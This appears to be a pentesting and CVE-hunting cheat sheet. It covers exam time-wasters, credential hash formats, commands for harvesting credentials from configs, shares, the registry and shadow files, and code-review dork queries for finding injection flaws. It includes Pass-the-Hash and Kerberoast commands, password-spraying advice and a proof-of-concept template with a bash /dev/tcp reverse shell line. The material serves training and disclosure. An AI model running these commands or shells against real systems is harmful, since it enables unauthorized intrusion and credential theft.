Exploiting XSS on pentests 🕐 30-60 min

Web — XSS very rarely leads to a foothold on pentests. There's no 'victim browser' to receive your XSS payload in most cases

Do this instead: Focus on SQLi, LFI, file upload, command injection, SSTI. These give direct code execution

🚩 Red flag: You found reflected XSS and are trying to escalate it to RCE


WordPress plugin rabbit holes 🕐 30-60 min

Web — wpscan finds 50 'vulnerabilities' but most require auth or are informational/low severity

Do this instead: Focus on: unauthenticated RCE, file upload, SQLi. Ignore XSS, CSRF, and 'requires admin' vulns. Check wp-admin with found creds first

🚩 Red flag: Reading through 50 wpscan findings one by one


Trying SQLMap when manual fails 🕐 20-40 min

Web — If manual SQLi testing shows no injection point, SQLMap won't find one either. Also SQLMap is banned on OffSec exams

Do this instead: If manual testing (adding ' and checking for errors/behavior changes) shows nothing, the param probably isn't injectable. Move on

🚩 Red flag: You've tried SQLMap with --level 5 --risk 3 on every parameter


Trying to crack NTLMv2 hashes from Responder 🕐 30-120 min

SMB — NTLMv2 hashes only crack if the password is in your wordlist. Complex passwords can take hours/days

Do this instead: Try rockyou.txt for 5 min max. If it doesn't crack, try relay attacks instead (ntlmrelayx) or move to other vectors

🚩 Red flag: hashcat has been running for 30+ min on an NTLMv2 hash


Exhaustive share enumeration with no creds 🕐 20-30 min

SMB — If null session fails and you have no creds, you've learned everything SMB will tell you for now

Do this instead: Note SMB exists, note if signing is disabled (for relay), move on. Come back with creds

🚩 Red flag: Running multiple SMB tools hoping one of them gets access when null session already failed


Trying every kernel exploit 🕐 30-60 min

PrivEsc — Kernel exploits are unreliable. They can crash the box, and compiling/transferring takes time. Most lab boxes have an intended non-kernel privesc

Do this instead: Check sudo, SUID, cron, capabilities, config files FIRST. Kernel exploits are last resort

🚩 Red flag: You're on your 3rd kernel exploit compilation and none have worked


Chasing processes that need interaction 🕐 30-60 min

PrivEsc — Seeing a process run by root doesn't always mean you can exploit it. If it requires specific input or conditions, it might not be the path

Do this instead: Focus on what YOU can control: writable files, writable cron scripts, misconfigurations. Check pspy for scheduled tasks you can influence

🚩 Red flag: You're trying to reverse engineer a custom binary instead of checking file permissions


Deep binary reverse engineering 🕐 30-60 min

PrivEsc — Pentests rarely require actual reverse engineering. If a custom SUID binary exists, the exploit is usually simple (PATH abuse, library hijack, buffer overflow with clear pattern)

Do this instead: Run strings on the binary. Check ltrace/strace. Look for relative paths, missing libraries, or obvious input handling

🚩 Red flag: You've loaded the binary in Ghidra and are reading assembly for 30+ min


Trying to crack Kerberoast hashes forever 🕐 30-60 min

AD — Some service accounts have strong passwords. If rockyou.txt doesn't crack it in 5 min, try a bigger list for 10 more min, then move on

Do this instead: Check for AS-REP roastable accounts (easier to crack). Try password spraying. Look for other paths in BloodHound

🚩 Red flag: hashcat running 30+ min on a TGS hash


Enumerating AD without BloodHound 🕐 20-60 min

AD — Manual AD enumeration misses ACL-based attack paths that BloodHound visualizes in seconds. You'll waste hours finding what BloodHound shows instantly

Do this instead: Always run SharpHound and load into BloodHound first. Use the built-in queries: 'Shortest Path to DA', 'Kerberoastable Users'

🚩 Red flag: You're running net user /domain and net group /domain manually for 20 min


Overthinking the box 🕐 30-120 min

General — Lab boxes have intended paths. If you're constructing a 5-step exploit chain, you're probably overcomplicating it

Do this instead: The answer is usually simpler than you think. Re-enumerate. Check what you missed. The foothold is often in plain sight

🚩 Red flag: You're chaining 3 vulnerabilities together and it's still not working


Not checking UDP 🕐 0 min (but costs you the box)

General — SNMP (161) and TFTP (69) are commonly on UDP and provide easy wins. Many people skip UDP entirely

Do this instead: Always run: nmap -sU --top-ports 20 $IP. Takes 2 minutes. SNMP can reveal usernames, passwords in process command lines

🚩 Red flag: You're stuck and haven't checked UDP yet


Forgetting /etc/hosts 🕐 30-120 min

General — Browsing by IP shows Apache default page. Browsing by hostname shows the actual web app. Different vhosts = completely different attack surface

Do this instead: ALWAYS add hostnames to /etc/hosts: IP, nmap hostname, SSL cert names, any domain found in enumeration

🚩 Red flag: You see 'Apache2 Ubuntu Default Page' and think there's no web app


FALSE POSITIVE PATTERNS - Things that LOOK promising but aren't

Filtered ports showing in scan 🕐 10-20 min

Nmap — Filtered usually means firewall is dropping packets. The service may not actually be running or accessible

Do this instead: Focus on OPEN ports. Come back to filtered only if you've exhausted all open ports and found a firewall bypass

🚩 Red flag: 'Filtered' in nmap makes you think there's a hidden service to find


Tons of open ports (1000+) 🕐 20-30 min

Nmap — Could be a firewall returning SYN/ACK for everything (false positives). Or it's a real box with many services

Do this instead: Verify with: nmap -sV on suspicious ports. If no version detected = probably fake. Focus on ports with real service banners

🚩 Red flag: Box has 500 open ports, all showing 'tcpwrapped'


200 OK on everything 🕐 15-20 min

Web — Some servers return 200 for non-existent pages (custom 404). Gobuster will show thousands of 'hits'

Do this instead: Check response size. Filter: gobuster -fs <404_size>. Compare real pages vs non-existent pages first

🚩 Red flag: Every gobuster result is Status 200 with the same size


login page with no known CMS 🕐 20-30 min

Web — Custom login page doesn't mean SQLi. Could be rate-limited, properly coded, or irrelevant to the intended path

Do this instead: Try 3 things: default creds, admin'-- -, check source code. If nothing in 5 min, look for other entry points

🚩 Red flag: Spending 30 min on a login page that's not the intended path


linPEAS shows 95% colors 🕐 20-30 min

PrivEsc — linPEAS highlights tons of potential vectors. Most are informational, not exploitable. The tool is noisy by design

Do this instead: Focus on RED and YELLOW highlights. Check: sudo -l, SUID, writable cron, capabilities, docker/lxd groups FIRST before reading the entire output

🚩 Red flag: Reading every line of linPEAS output instead of checking the high-priority items first


SUID /usr/bin/sudo 🕐 5-10 min

PrivEsc — sudo having SUID is NORMAL. It's supposed to have SUID. Focus on non-standard SUID binaries

Do this instead: Ignore standard SUID: sudo, passwd, ping, mount, su, chsh, newgrp, gpasswd. Look for anything in /opt, /home, /usr/local, or custom paths

🚩 Red flag: Trying to exploit SUID on /usr/bin/sudo (it's meant to be SUID)


Kernel 'vulnerable' but exploit fails 🕐 30-45 min

PrivEsc — linux-exploit-suggester matches by version range but doesn't check if patches are applied via other means (backports, manual patches)

Do this instead: Check if the specific commit/fix is present. Try the exploit once cleanly. If it fails, it's likely patched despite the version number

🚩 Red flag: Third kernel exploit attempt has failed


Credential Tracking

Where to find credentials, what they look like, and how to track them across an engagement.


WHAT CREDENTIALS LOOK LIKE

Plaintext passwords

Found in config files, databases, shares, history files — Use everywhere

admin123
P@ssw0rd!
Summer2025!
CompanyName2024

NTLM hash

32 hex characters, no salt — Dumped from SAM, secretsdump, mimikatz. Can be cracked (hashcat -m 1000) or used directly with Pass the Hash.

aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
│              LM hash             │              NT hash              │
Example — Full SAM dump format
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
svc_backup:1001:aad3b435b51404eeaad3b435b51404ee:68510b169745bd23fae40e4a24cb080c:::

Format: username:RID:LM_hash:NT_hash:::
Crack NT hash: hashcat -m 1000 hash.txt rockyou.txt
Pass the Hash: crackmapexec smb $IP -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c

NTLMv2 hash

Captured from Responder or network sniffing — Must be cracked, cannot Pass the Hash with this

john::CORP:1122334455667788:ABC123DEF456789012345678901234567890:0101000000000000...
│user│ │dom│   │challenge │                │NTLMv2 response│
Example — Responder capture
[SMB] NTLMv2-SSP Client   : 10.10.10.50
[SMB] NTLMv2-SSP Username : CORP\john
[SMB] NTLMv2-SSP Hash     : john::CORP:1122334455667788:a]bc123def456:0101000000000000...

Crack: hashcat -m 5600 hash.txt rockyou.txt
Cannot PtH — must crack to plaintext first

Kerberoast TGS hash

Extracted via GetUserSPNs — Service account hash, often has a weak password

$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQL/db01.corp.local*$abc123...
│ prefix │  │ user │  │ domain │     │     SPN       │  │hash│
Example — Impacket output
impacket-GetUserSPNs corp.local/john:'Password1' -dc-ip 10.10.10.1 -request

ServicePrincipalName    Name      MemberOf
MSSQL/db01.corp.local   svc_sql   CN=Domain Admins

$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQL/db01.corp.local*$f3a5b8c2d1e...

Crack: hashcat -m 13100 hash.txt rockyou.txt

AS-REP hash

From accounts without Kerberos pre-authentication — No creds needed to obtain

$krb5asrep$23$svc_backup@CORP.LOCAL:abc123def456...
│  prefix  │  │    user@domain     │   │ hash │
Example — Impacket output
impacket-GetNPUsers corp.local/ -dc-ip 10.10.10.1 -usersfile users.txt -no-pass

[*] Getting TGT for svc_backup
$krb5asrep$23$svc_backup@CORP.LOCAL:a1b2c3d4e5f6...

Crack: hashcat -m 18200 hash.txt rockyou.txt

Linux password hash (/etc/shadow)

Format depends on algorithm — $1$ (MD5), $5$ (SHA256), $6$ (SHA512)

root:$6$randomsalt$longhashstring...:19000:0:99999:7:::
│user│$6│  salt   │    SHA512 hash     │  │password age fields│
Example — /etc/shadow entries
root:$6$xyz123$A1B2C3D4E5F6G7H8I9J0...:19443:0:99999:7:::
admin:$1$abc$ShortMD5Hash...:19443:0:99999:7:::
www-data:*:19000:0:99999:7:::          ← * means no login

$1$ = MD5        → hashcat -m 500
$5$ = SHA256     → hashcat -m 7400
$6$ = SHA512     → hashcat -m 1800

Crack: unshadow /etc/passwd /etc/shadow > unshadowed.txt
       hashcat -m 1800 unshadowed.txt rockyou.txt

SSH private key

Found in .ssh directories, backups, shares — May be passphrase protected

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIA...
-----END OPENSSH PRIVATE KEY-----
Usage
chmod 600 id_rsa
ssh -i id_rsa user@$IP

If passphrase protected:
ssh2john id_rsa > ssh.hash
john ssh.hash --wordlist=rockyou.txt

bcrypt hash

From web application databases — Slow to crack, use rules

$2y$10$ABC123def456GHI789jkl.MNOPQR012stuvwxYZ345678abcdefgh
│$2y│cost│              22-char salt + 31-char hash              │
Example
Found in: WordPress wp_users table, web app databases
$2y$10$ or $2a$10$ prefix

Crack: hashcat -m 3200 hash.txt rockyou.txt -r best64.rule
Very slow — use small targeted wordlists with rules

WHERE TO FIND CREDENTIALS

Configuration files

Always check these paths — Plaintext DB creds, API keys, secret keys

# Web configs:
cat /var/www/html/wp-config.php
cat /var/www/html/configuration.php
cat /var/www/html/config.php
cat /var/www/html/.env
cat /var/www/html/app/etc/local.xml

# System configs:
cat /etc/shadow
cat /etc/tomcat*/tomcat-users.xml
cat /opt/*/config.yml

History files

Check for ALL users — Commands with passwords typed inline

cat /home/*/.bash_history
cat /root/.bash_history
cat /home/*/.mysql_history
# Windows:
type C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

HTML source and JavaScript

View source on EVERY page — Hardcoded creds, API tokens, debug info

curl -s http://$IP/ | grep -iE "password|passwd|secret|token|api.key"
# Check JavaScript files for API keys and endpoints

Network shares and file servers

Download and search EVERYTHING — Config backups, credential files, SSH keys

smbclient //$IP/share -N -c "recurse;prompt;mget *"
grep -r "password" ./loot/ --include="*.txt" --include="*.xml" --include="*.conf"

Database tables

SELECT * FROM users — Always check for creds

# MySQL:
SELECT user,password FROM mysql.user;
SELECT * FROM users;

# MSSQL:
SELECT name, password_hash FROM sys.sql_logins;

# PostgreSQL:
SELECT usename, passwd FROM pg_shadow;

Windows registry and saved creds

Autologon, VNC, PuTTY, WiFi passwords

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query HKLM /f password /t REG_SZ /s
cmdkey /list

LDAP user descriptions

Admins put temp passwords in AD description fields

ldapsearch -x -H ldap://$DC_IP -D "user@domain.local" -w 'password' -b "DC=domain,DC=local" "(description=*pass*)" description sAMAccountName

Email / mailboxes

Login with found creds — Password resets, shared credentials

curl -k "imaps://$IP/INBOX" -u user:password -X "FETCH 1:* BODY[TEXT]" | grep -i password

Process command lines

Passwords passed as arguments — Visible via SNMP or ps

# Linux:
ps aux | grep -i pass

# SNMP:
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.5

CREDENTIAL TRACKING MATRIX

Use this template during engagements — Log every credential and where you tried it.

┌──────────┬──────────┬──────────┬─────┬─────┬───────┬─────┬─────┬───────┐
│ Username │ Password │ Source   │ SSH │ SMB │ WinRM │ RDP │ Web │ DB    │
├──────────┼──────────┼──────────┼─────┼─────┼───────┼─────┼─────┼───────┤
│ admin    │ admin123 │ FTP conf │  ✓  │  ✓  │   ✗   │  ✗  │  ✓  │       │
│ john     │ NTLMhash │ SAM dump │ n/a │ PtH │  PtH  │     │     │       │
│ svc_sql  │ Summer25 │ Kerbrst  │     │  ✓  │   ✓   │     │     │  ✓    │
│ root     │ $6$hash  │ /shadow  │crack│     │       │     │     │       │
└──────────┴──────────┴──────────┴─────┴─────┴───────┴─────┴─────┴───────┘

Rules:
1. Try EVERY credential on EVERY service
2. Try password reuse across all users
3. Try common mutations: Password1 → Password2, password1!, Password2025
4. Spray Season+Year: Summer2025!, Winter2024!, Spring2025
5. Document what worked and what didn't

Vulnerability Research & CVE Hunting

How to find real vulnerabilities in open-source software, write PoCs, and get CVEs assigned.


MINDSET - What you're actually looking for

Every exploitable vulnerability is the same pattern:

User-controlled input  →  No sanitization  →  Dangerous function

Your job is to find that path. Everything else is details.


TARGET SELECTION - What to hunt

Good targets

  • Web services wrapping CLI tools (wkhtmltopdf, ffmpeg, imagemagick, pandoc)
  • Flask/Django/Express apps with < 500 stars (enough users to matter, small enough to audit fast)
  • Docker-based services (often run as root, common misconfigs)
  • Abandoned projects still in use (no maintainer = instant full disclosure)
  • MCP servers (new attack surface, most have no security review)

Bad targets

  • Intentionally vulnerable apps (DVWA, WebGoat, juice-shop)
  • CTF challenges and tutorials
  • Projects with 0 users/stars
  • Projects with active security teams and bug bounties (save for later)
  • Offensive security tools (reporting command injection in a pentest tool is weak)

GITHUB CODE SEARCH - Finding vulnerable patterns

Command injection (CWE-78)

The highest-value vulnerability class. Network-accessible, usually no auth, CVSS 9.0+.

language:python "os.system" "request" filename:app.py
language:python "subprocess" "shell=True" "request.json"
language:python "subprocess.Popen" "request.form" "shell=True"
language:python "execute" "request" filename:app.py
language:php "exec(" "$_GET"
language:php "system(" "$_POST"
language:php "passthru(" "$_REQUEST"
language:javascript "child_process" "req.body"
language:javascript "exec(" "req.query"
What you're looking for
# VULNERABLE - user input reaches shell execution
data = request.json.get('input')
os.system(f"tool {data}")                    # Direct injection
subprocess.Popen(f"tool {data}", shell=True) # shell=True with f-string
execute(f"tool {data}")                      # executor library (bash -c)

# SAFE - parameterized, no shell
subprocess.run(['tool', data])               # List args, no shell
subprocess.run(['tool', data], shell=False)  # Explicit no shell

SQL injection (CWE-89)

language:python "execute" "request" "%" filename:app.py
language:python "cursor.execute" "format" "request"
language:php "mysql_query" "$_GET"
language:php "mysqli_query" "$_POST"
What you're looking for
# VULNERABLE - string formatting into SQL
query = f"SELECT * FROM users WHERE name = '{request.form['name']}'"
cursor.execute(query)

# SAFE - parameterized query
cursor.execute("SELECT * FROM users WHERE name = %s", (request.form['name'],))

Path traversal (CWE-22)

language:python "open(" "request" "filename" filename:app.py
language:python "send_file" "request.args"
language:python "os.path.join" "request"
language:php "file_get_contents" "$_GET"
language:php "include" "$_GET"
What you're looking for
# VULNERABLE - user controls file path
filename = request.args.get('file')
return send_file(f"/uploads/{filename}")  # ../../etc/passwd

# SAFE - basename strips directory components
filename = os.path.basename(request.args.get('file'))
return send_file(os.path.join('/uploads', filename))

Server-Side Template Injection (CWE-1336)

language:python "render_template_string" "request"
language:python "Template(" "request"
language:python "from_string" "request"
language:python "Jinja2" "render" "request"
What you're looking for
# VULNERABLE - user input in template
template = request.form['name']
return render_template_string(f"Hello {template}")  # {{7*7}} = 49

# SAFE - template with variable
return render_template_string("Hello {{ name }}", name=request.form['name'])

Deserialization (CWE-502)

language:python "pickle.loads" "request"
language:python "yaml.load(" "request"
language:python "yaml.load(" NOT "yaml.safe_load"
language:java "ObjectInputStream" "readObject"
language:php "unserialize" "$_"
What you're looking for
# VULNERABLE - deserializing user input
data = pickle.loads(request.data)        # Arbitrary code execution
data = yaml.load(request.data)           # yaml.load without SafeLoader

# SAFE
data = json.loads(request.data)          # JSON is safe
data = yaml.safe_load(request.data)      # SafeLoader blocks code execution

CODE REVIEW PROCESS - How to evaluate a target fast

Step 1: Identify the app type (30 seconds)

Read the README. What does it do?

App typeMost likely vulnerability
Web service wrapping CLI toolCommand injection
File upload/download servicePath traversal
Database-backed web appSQL injection
Template-based web appSSTI
API accepting serialized dataDeserialization
Authentication systemAuth bypass, IDOR

Step 2: Find the entry points (2 minutes)

Where does user input enter the application?

# Find all route handlers
grep -rn "app.route\|@app\.\|@router\.\|@blueprint\." *.py
grep -rn "app.get\|app.post\|router.get\|router.post" *.js

# Find all request data access
grep -rn "request.form\|request.args\|request.json\|request.data\|request.files" *.py
grep -rn "req.body\|req.query\|req.params\|req.file" *.js
grep -rn "\$_GET\|\$_POST\|\$_REQUEST\|\$_FILES" *.php

Step 3: Find the dangerous sinks (2 minutes)

# Command execution
grep -rn "os.system\|os.popen\|subprocess\|exec(\|execute(" *.py
grep -rn "child_process\|exec(\|execSync\|spawn(" *.js
grep -rn "system(\|exec(\|passthru(\|shell_exec(\|popen(" *.php

# File operations
grep -rn "open(\|send_file\|send_from_directory" *.py
grep -rn "readFile\|createReadStream\|writeFile" *.js
grep -rn "file_get_contents\|fopen\|include\|require" *.php

# Database queries
grep -rn "execute(\|cursor\|query(" *.py
grep -rn "mysql_query\|mysqli_query\|pg_query" *.php

# Template rendering
grep -rn "render_template_string\|Template(\|from_string" *.py

# Deserialization
grep -rn "pickle\|yaml.load\|marshal\|shelve" *.py
grep -rn "unserialize\|json_decode" *.php

Step 4: Trace the path (5 minutes)

Can user input reach the dangerous sink without sanitization?

Route handler → gets user input → any validation? → reaches dangerous function?
     |                                    |                        |
   @app.route('/convert')          No filtering?          os.system(cmd)?
                                   No allowlist?          subprocess(shell=True)?
                                   No escaping?           execute(string)?

If the answer to all three is "no filtering, no escaping, no allowlist" then you have a vulnerability.


Step 5: Check exploitability (5 minutes)

QuestionImpact on CVSS
Network accessible?AV:N (higher) vs AV:L (lower)
Auth required?PR:N (no auth = critical) vs PR:L
User interaction needed?UI:N (no interaction = higher)
What privileges does it run as?Root = maximum impact
What can you access?Read files? Execute commands? Full RCE?

BUILDING THE PoC - Proving exploitation

Order of proof

  1. Confirm the vulnerability exists by writing a file (id > /tmp/pwned.txt)
  2. Prove arbitrary execution with different commands
  3. Demonstrate impact (read /etc/passwd, dump env vars, etc.)
  4. Get a reverse shell for maximum impact proof
  5. Write the automated PoC script

PoC script template (command injection)

#!/usr/bin/env python3
import argparse
import requests
import json
import base64

def check(target):
    """Verify target is vulnerable."""
    # Send benign request first to confirm service is running
    # Then send injection payload
    # Describe how to verify execution
    pass

def exploit(target, command, method="value"):
    """Execute arbitrary command on target."""
    # Build the payload
    # Send the request
    # Describe how to retrieve output
    pass

def reverse_shell(target, lhost, lport):
    """Spawn reverse shell on target."""
    payload = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    exploit(target, payload)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--target", "-t", required=True)
    parser.add_argument("--command", "-c", default=None)
    parser.add_argument("--check", action="store_true")
    parser.add_argument("--reverse-shell", "-r", default=None)
    args = parser.parse_args()
    
    if args.check:
        check(args.target)
    elif args.reverse_shell:
        ip, port = args.reverse_shell.split(":")
        reverse_shell(args.target, ip, port)
    else:
        exploit(args.target, args.command or "id")

SETTING UP TEST ENVIRONMENTS

Docker targets

Most web service targets have Dockerfiles. If they don't, build one:

FROM python:3.10-slim
WORKDIR /app
COPY . .
RUN pip install -r requirements.txt
EXPOSE 8080
CMD ["python", "app.py"]
docker build -t vuln-target .
docker run -d -p 8080:8080 --name vuln-test vuln-target

If the app uses Python 2

Port the minimum code needed to Python 3. Preserve the vulnerability logic exactly. Common fixes:

# Python 2 → Python 3
print "hello"           → print("hello")
.decode('base64')       → base64.b64decode()
raw_input()             → input()
except Exception, e     → except Exception as e
open(f, 'r')            → open(f, 'rb')  # for binary

EVIDENCE COLLECTION - Screenshots that matter

Take these screenshots in order:

#ScreenshotPurpose
1Container/service runningProves environment setup
2Legitimate request workingProves app functions normally
3Clean state (no evidence files)Proves no prior tampering
4RCE proof (id output as root)Confirms code execution
5Second injection vectorShows multiple attack paths
6Data exfiltration (/etc/passwd)Demonstrates file read impact
7Environment variable dumpDemonstrates secret exposure
8Full RCE proof (whoami + hostname + date)Timestamped proof
9PoC script runningShows automated exploitation
10Reverse shellMaximum impact demonstration

CVE DISCLOSURE PROCESS

Step 1: Report to maintainer

Check for SECURITY.md in the repo. If none:

1. GitHub Security Advisory (preferred)
   → repo → Security tab → Report a vulnerability

2. Public GitHub Issue (if repo appears abandoned)
   → Create issue with "[Security] Vulnerability: RCE via ..."

3. Email maintainer directly
   → Check git log for email, README for contact info

Step 2: Request CVE from MITRE

Submit at https://cveform.mitre.org/

Required fields:

Vulnerability Type:   OS Command Injection / SQL Injection / etc.
Vendor:               The org or username
Product:              Repository name
Version:              All versions / specific version
Attack Type:          Remote / Local
Impact:               Code Execution / Information Disclosure / etc.
Affected Component:   filename.py, lines X-Y
Attack Vector:        Description of how to exploit
Suggested Description: One paragraph for the CVE database
Discoverer:           Your name
References:           GitHub repo URL, issue URL, advisory URL

Step 3: Decide disclosure timeline

Maintainer statusAction
Active, responds90-day coordinated disclosure
Active, no response after 30 daysPublish with CVE
Abandoned (no commits in 1+ year)Immediate full disclosure

Step 4: Publish

Where to publish (do all of them):

1. GitHub PoC repository (README + poc.py + screenshots)
2. Blog post (full technical writeup)
3. ExploitDB (email submit@offsec.com with exploit script)
4. Full Disclosure mailing list (seclists.org)
5. PacketStorm Security (packetstormsecurity.com/submit)
6. LinkedIn post (builds professional visibility)
7. Twitter/X thread (builds community presence)

EXPLOITDB SUBMISSION FORMAT

Email: submit@offsec.com

Subject = Exploit title. Attach the exploit as a .py file with these headers:

# Exploit Title: [target] - [vuln type]
# Google Dork: N/A
# Date: [YYYY-MM-DD]
# Exploit Author: [your name]
# Vendor Homepage: [URL]
# Software Link: [URL]
# Version: [affected versions]
# Tested on: [OS]
# CVE: [CVE-XXXX-XXXXX or Pending]

⚠️ They will NOT accept: reflected XSS without CVE, DLL hijacking, path disclosure, open redirects, clickjacking without CVE, or vulns requiring admin access.


DANGEROUS FUNCTIONS CHEAT SHEET

Python

FunctionRiskCWE
os.system()Command injectionCWE-78
os.popen()Command injectionCWE-78
subprocess.Popen(shell=True)Command injectionCWE-78
subprocess.run(shell=True)Command injectionCWE-78
subprocess.call(shell=True)Command injectionCWE-78
eval()Code injectionCWE-94
exec()Code injectionCWE-94
pickle.loads()Deserialization RCECWE-502
yaml.load()Deserialization RCECWE-502
render_template_string()SSTICWE-1336
open() with user inputPath traversalCWE-22
send_file() with user inputPath traversalCWE-22

PHP

FunctionRiskCWE
system()Command injectionCWE-78
exec()Command injectionCWE-78
passthru()Command injectionCWE-78
shell_exec()Command injectionCWE-78
`backticks`Command injectionCWE-78
popen()Command injectionCWE-78
eval()Code injectionCWE-94
preg_replace('/e')Code injectionCWE-94
unserialize()DeserializationCWE-502
include() / require()LFI/RFICWE-98
file_get_contents()Path traversal / SSRFCWE-22

JavaScript / Node.js

FunctionRiskCWE
child_process.exec()Command injectionCWE-78
child_process.execSync()Command injectionCWE-78
eval()Code injectionCWE-94
Function()Code injectionCWE-94
vm.runInNewContext()Sandbox escapeCWE-94
fs.readFile() with user inputPath traversalCWE-22
require() with user inputCode injectionCWE-94

CVSS 3.1 QUICK SCORING

Use for your advisory reports:

ScenarioVectorScore
RCE, no auth, networkAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H9.8 Critical
RCE, auth required, networkAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H8.8 High
File read, no auth, networkAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N7.5 High
Command injection, local onlyAV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H7.8 High
DLL hijackingAV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H7.8 High
XSS (reflected)AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N6.1 Medium

Calculator: https://www.first.org/cvss/calculator/3.1


SPEED TIPS

  • Start with command injection. Highest CVSS, easiest to find, easiest to prove.
  • Search GitHub for dangerous patterns, not specific apps. You find more targets.
  • Read the code, not the README. READMEs lie. Code doesn't.
  • Check requirements.txt or package.json first. If the app imports executor, subprocess, or child_process, dig deeper.
  • Grep backwards from sinks, not forward from inputs. Find os.system() first, then trace back to see if user input reaches it.
  • Skip projects with zero network exposure. CLI tools, build scripts, and local-only utilities are low-value targets.
  • Skip projects with authentication on all endpoints. Unless you're looking for auth bypass, no-auth targets give higher CVSS.
  • One CVE in a popular project > five CVEs in unknown ones. Stars and forks matter for credibility.